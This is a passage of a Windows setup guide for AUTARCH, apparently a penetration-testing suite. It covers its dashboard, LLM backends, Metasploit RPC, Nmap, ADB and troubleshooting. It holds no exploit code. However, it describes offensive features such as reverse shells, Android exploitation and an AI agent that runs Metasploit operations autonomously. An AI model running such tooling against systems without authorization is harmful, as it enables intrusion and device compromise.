**NSSM** (Non-Sucking Service Manager) for a proper Windows service: + +``` +nssm install AUTARCH "python" "C:\she\autarch\autarch.py --web" +nssm start AUTARCH +``` + +--- + +## 5. Web Dashboard + +The dashboard runs on port **8080** by default. Access it at `http://localhost:8080`. + +### Login + +Default credentials are set during first-run setup. Change them in Settings → Password. + +### Sidebar Navigation + +| Section | What's There | +|---------|-------------| +| Dashboard | System overview, tool status | +| Targets | Pentest scope and target management | +| Defense | System hardening, firewall checks | +| Offense | Metasploit modules, port scanning | +| Counter | Threat hunting, detection | +| Analyze | File forensics, malware analysis | +| OSINT | Intelligence gathering | +| Simulate | Attack scenarios, Legendary Creator | +| Wireshark | Packet analysis (needs Npcap) | +| Hardware | Android/iPhone/ESP32 management | +| Android Exploit | Android-specific testing | +| iPhone Exploit | iPhone forensics | +| Shield | Anti-stalkerware scanner | +| Reverse Shell | Remote device management | +| Archon | Android companion app | +| UPnP | Port forwarding | +| WireGuard | VPN management | +| MSF Console | Metasploit terminal | +| Settings | All configuration | + +### HAL Chat Button + +The **HAL** button in the bottom-right corner opens a persistent AI chat panel. It works on every page and uses whatever LLM backend you have configured. + +### Debug Console + +The **DBG** button (bottom-right, appears after first action) opens a live debug panel showing system logs. Use it to diagnose errors, see LLM load status, and trace tool activity. + +--- + +## 6. LLM Setup on Windows + +AUTARCH supports four AI backends. All work on Windows — but local GPU models have some limitations. + +### Option A — Claude API (Easiest, Recommended for Windows) + +No local GPU needed. Uses Anthropic's cloud API. + +1. Get an API key from [console.anthropic.com](https://console.anthropic.com) +2. In AUTARCH: Settings → LLM Config → Claude tab +3. Paste your API key +4. Select a model (e.g. `claude-sonnet-4-6`) +5. Click **Save & Activate Claude** +6. Click **Load Model** — status dot turns green + +### Option B — OpenAI API + +Works the same way as Claude. Also supports local LLM servers (Ollama, vLLM, LM Studio). + +1. Get an API key from [platform.openai.com](https://platform.openai.com) +2. In AUTARCH: Settings → LLM Config → OpenAI tab +3. Paste your API key and select a model +4. Click **Save & Activate OpenAI** then **Load Model** + +**Using with a local server (Ollama, LM Studio):** +- Set Base URL to your local server (e.g. `http://localhost:11434/v1` for Ollama) +- Leave API key blank or use `ollama` +- Set model to the name you pulled (e.g. `llama3`) + +### Option C — Local GGUF Model (CPU, No Internet) + +Runs on CPU — no GPU required, but slow on large models. + +1. Install llama-cpp-python: + ``` + pip install llama-cpp-python + ``` +2. Download a GGUF model file (e.g. from [HuggingFace](https://huggingface.co) — look for Q4_K_M quantized files, they're the best balance of speed and quality) +3. In AUTARCH: Settings → LLM Config → Local Model tab +4. Set Models Folder path (e.g. `C:\models`) +5. Select your GGUF file +6. Click **Save & Activate Local** +7. Click **Load Model** — first load takes 10–60 seconds + +**Recommended GGUF models for Windows (CPU):** +- `mistral-7b-instruct-v0.3.Q4_K_M.gguf` — good for most tasks +- `phi-3-mini-4k-instruct.Q4_K_M.gguf` — fast, good on low-RAM systems +- `llama-3.2-3b-instruct.Q4_K_M.gguf` — very fast, lightweight + +### Option D — HuggingFace Transformers (GPU Recommended) + +For NVIDIA GPU users. On Windows without CUDA, models will load on CPU (very slow for large models). + +1. Install PyTorch for your platform: + - **With NVIDIA GPU:** Visit [pytorch.org](https://pytorch.org/get-started/locally/) and get the CUDA version + - **CPU only:** `pip install torch --index-url https://download.pytorch.org/whl/cpu` +2. Install remaining dependencies: + ``` + pip install transformers accelerate + ``` +3. Optionally install bitsandbytes for quantization (CUDA required): + ``` + pip install bitsandbytes --prefer-binary + ``` +4. In AUTARCH: Settings → LLM Config → Local Model tab → enable "Use HuggingFace Transformers" +5. Enter a model ID (e.g. `microsoft/Phi-3-mini-4k-instruct`) + +> **Windows note:** If bitsandbytes is not installed or doesn't work, AUTARCH will automatically disable 4-bit/8-bit quantization and load the model in full precision. You'll see a warning in the debug log — this is normal and expected. + +### LLM Load Button + +On the LLM Config page, after saving settings, always click **Load Model** to initialize the backend. The status indicator shows: + +| Color | Meaning | +|-------|---------| +| Grey | Not loaded | +| Amber | Loading... | +| Green | Ready | +| Red | Error — check Debug Log | + +Click **Debug Log** to open the live debug console and see exactly what went wrong. + +--- + +## 7. Metasploit on Windows + +Metasploit Framework runs on Windows via the official Windows installer. + +### Installing Metasploit + +1. Download the Windows installer from [metasploit.com](https://www.metasploit.com/download) +2. Run the installer — it installs to `C:\metasploit-framework` by default +3. After install, start the MSF RPC daemon: + ``` + C:\metasploit-framework\bin\msfrpcd.bat -P yourpassword -S -f + ``` + Or use msfconsole directly and enable RPC from within it. + +### Connecting AUTARCH to MSF + +1. Go to Settings in AUTARCH +2. Set MSF RPC host: `127.0.0.1`, port: `55553` +3. Enter your RPC password +4. In the web dashboard, go to **MSF Console** and click **Reconnect** + +### Using MSF in AUTARCH + +- **MSF Console page** (`/msf`) — terminal-style console, type commands directly +- **Offense → Run Module** — quick-launch SSH scanners, port scanners, OS detection with live output +- **Offense → Agent Hal** — tell the AI to run operations autonomously + +> **Note:** AUTARCH cannot auto-start/stop the MSF daemon on Windows (that uses Linux `pgrep`/`pkill`). Start MSF manually before connecting. + +--- + +## 8. Nmap on Windows + +Nmap is used by many AUTARCH scanning modules. + +### Installing Nmap + +1. Download from [nmap.org](https://nmap.org/download.html) — use the Windows installer +2. During install, **also install Npcap** (required for raw socket scanning) +3. Nmap installs to `C:\Program Files (x86)\Nmap` by default + +### Configuring Path + +If AUTARCH can't find nmap, add it to Settings → Tool Paths, or add `C:\Program Files (x86)\Nmap` to your Windows PATH: + +1. Search for "Environment Variables" in Start +2. Edit System Environment Variables → Path +3. Add `C:\Program Files (x86)\Nmap` + +--- + +## 9. Hardware & Device Tools + +### ADB / Android Devices + +AUTARCH includes bundled ADB binaries in `android/`. No separate install needed. + +**USB Device Access:** Windows handles USB permissions automatically for most devices. Enable USB Debugging on your Android phone first (Settings → Developer Options → USB Debugging). + +**WebUSB Mode (Direct Connection):** + +AUTARCH supports WebUSB for direct ADB access from your browser without a server connection. This requires: +- **Chromium-based browser** (Chrome or Edge) — Firefox does not support WebUSB +- Install the [Android ADB driver](https://developer.android.com/studio/run/win-usb) for your device manufacturer +- Go to Hardware page → click the connection mode toggle → select "Direct (WebUSB)" + +> **Note:** WinUSB driver is needed for WebUSB. If your device is recognized by standard ADB but not WebUSB, use [Zadig](https://zadig.akeo.ie/) to install the WinUSB driver. + +### ESP32 Flashing + +Fully supported on Windows. Connect your ESP32 via USB-serial adapter: + +1. Install the CP210x or CH340 USB-serial driver for your adapter +2. Windows will assign it a COM port (e.g. `COM3`) +3. In AUTARCH Hardware page → ESP32 tab → select your COM port +4. Flash or interact normally + +### Wireshark / Packet Capture + +Requires Npcap (installed with Nmap or Wireshark): + +1. Install [Wireshark for Windows](https://www.wireshark.org/download.html) — it includes Npcap +2. After install, `tshark` will be available in `C:\Program Files\Wireshark\` +3. Run AUTARCH as Administrator for raw packet capture permissions + +--- + +## 10. WireGuard VPN + +### Installing WireGuard + +1. Download from [wireguard.com](https://www.wireguard.com/install/) +2. Install the Windows app + +### Using with AUTARCH + +AUTARCH's WireGuard page generates and manages config files. On Windows, apply the config manually: + +1. Generate your config in AUTARCH → WireGuard +2. Copy the config +3. Open the WireGuard Windows app +4. Click "Add Tunnel" → Import from clipboard or file +5. Click Activate + +> **Note:** Automatic WireGuard tunnel management (via `wg` CLI) requires WireGuard to be in your PATH or configured in AUTARCH Settings. + +--- + +## 11. Known Limitations on Windows + +| Feature | Status | Notes | +|---------|--------|-------| +| Web dashboard | Full | Works perfectly | +| AI chat (cloud APIs) | Full | Claude, OpenAI, HuggingFace all work | +| AI chat (local GGUF) | Full (CPU) | Slow without GPU | +| GPU quantization (4-bit/8-bit) | Partial | Needs CUDA + bitsandbytes | +| Nmap scanning | Full | Needs Nmap + Npcap installed | +| Packet capture | Partial | Needs Npcap + admin rights | +| Metasploit | Full (manual start) | MSF must be started manually | +| ADB (server mode) | Full | Bundled ADB binary works | +| ADB (WebUSB/Direct) | Full | Chrome/Edge only, needs WinUSB driver | +| ESP32 flashing | Full | COM port instead of /dev/ttyUSB | +| WireGuard | Partial | Needs Windows WireGuard app | +| Background service | Via Task Scheduler | `--service` flag doesn't work | +| System uptime | N/A | Shows "N/A" (uses /proc/uptime) | +| mDNS discovery | Partial | May require Bonjour | + +--- + +## 12. Troubleshooting + +### "Python not found" or command not recognized + +Python is not in your PATH. Either: +- Reinstall Python and check "Add to PATH" +- Or run: `py autarch.py` instead of `python autarch.py` + +### Web dashboard won't start — "Port already in use" + +Another process is on port 8080. Use a different port: +``` +python autarch.py --web --port 8090 +``` +Or find and kill the conflicting process: +``` +netstat -ano | findstr :8080 +taskkill /PID /F +``` + +### bitsandbytes install error + +``` +ERROR: Could not find a version that satisfies the requirement bitsandbytes +``` + +This is normal on Windows without CUDA. Either: +- Install with `pip install bitsandbytes --prefer-binary` for a best-effort install +- Or skip it — AUTARCH detects absence and disables quantization automatically + +### LLM won't load — "No module named llama_cpp" + +Install llama-cpp-python: +``` +pip install llama-cpp-python +``` +If you have an NVIDIA GPU and want GPU acceleration: +``` +set CMAKE_ARGS="-DLLAMA_CUBLAS=on" +pip install llama-cpp-python --force-reinstall --no-cache-dir +``` + +### ADB device not detected + +1. Enable USB Debugging on your phone (Settings → Developer Options → USB Debugging) +2. When prompted on the phone, tap "Allow" +3. Check if Windows recognizes the device: `android\adb.exe devices` +4. Install the correct USB driver for your phone manufacturer + +### Nmap not found + +AUTARCH reports "nmap not found" in the Dashboard. Fix it: +1. Install Nmap from [nmap.org](https://nmap.org/download.html) +2. Add `C:\Program Files (x86)\Nmap` to your Windows PATH +3. Or configure the path in AUTARCH Settings → Tool Paths + +### Metasploit can't connect + +1. Verify MSF RPC daemon is running: `netstat -ano | findstr :55553` +2. If not running, start it: `msfrpcd -P yourpassword -S -f` +3. Check password matches what's in AUTARCH Settings +4. Try clicking **Reconnect** in the MSF Console page + +### Firewall blocking the dashboard + +Windows Firewall may block port 8080. Allow it: +1. Windows Defender Firewall → Advanced Settings +2. Inbound Rules → New Rule +3. Port → TCP → 8080 → Allow + +Or from Command Prompt (as Administrator): +``` +netsh advfirewall firewall add rule name="AUTARCH" dir=in action=allow protocol=TCP localport=8080 +``` + +### "Permission denied" errors + +Run Command Prompt as Administrator. Right-click Command Prompt → Run as Administrator. + +--- + +## 13. Quick Reference + +### Startup Commands + +``` +# Start menu +python autarch.py + +# Start web dashboard +python autarch.py --web + +# Different port +python autarch.py --web --port 9090 + +# List all modules +python autarch.py -l + +# Run AI chat +python autarch.py -m chat + +# Reset configuration +python autarch.py --setup +``` + +### Key URLs + +| URL | What It Is | +|-----|-----------| +| `http://localhost:8080` | Main web dashboard | +| `http://localhost:8080/targets` | Target management | +| `http://localhost:8080/settings/llm` | LLM configuration | +| `http://localhost:8080/msf` | MSF Console terminal | +| `http://localhost:8080/manual` | Full user manual | + +### Important Paths + +| Path | What It Contains | +|------|----------------| +| `autarch_settings.conf` | All configuration | +| `data/targets.json` | Saved targets | +| `data/sessions/` | Saved sessions | +| `data/dossiers/` | OSINT dossiers | +| `android/adb.exe` | Bundled ADB binary | +| `tools/` | Bundled tools | + +### Common Tool Locations (Windows Defaults) + +| Tool | Default Path | +|------|-------------| +| Nmap | `C:\Program Files (x86)\Nmap\nmap.exe` | +| Metasploit | `C:\metasploit-framework\bin\` | +| WireGuard | `C:\Program Files\WireGuard\` | +| Wireshark | `C:\Program Files\Wireshark\` | +| Python | `C:\Python311\` or `C:\Users\\AppData\Local\Programs\Python\` | + +--- + +*AUTARCH is for authorized security testing and research only. Always obtain written permission before testing systems you do not own.*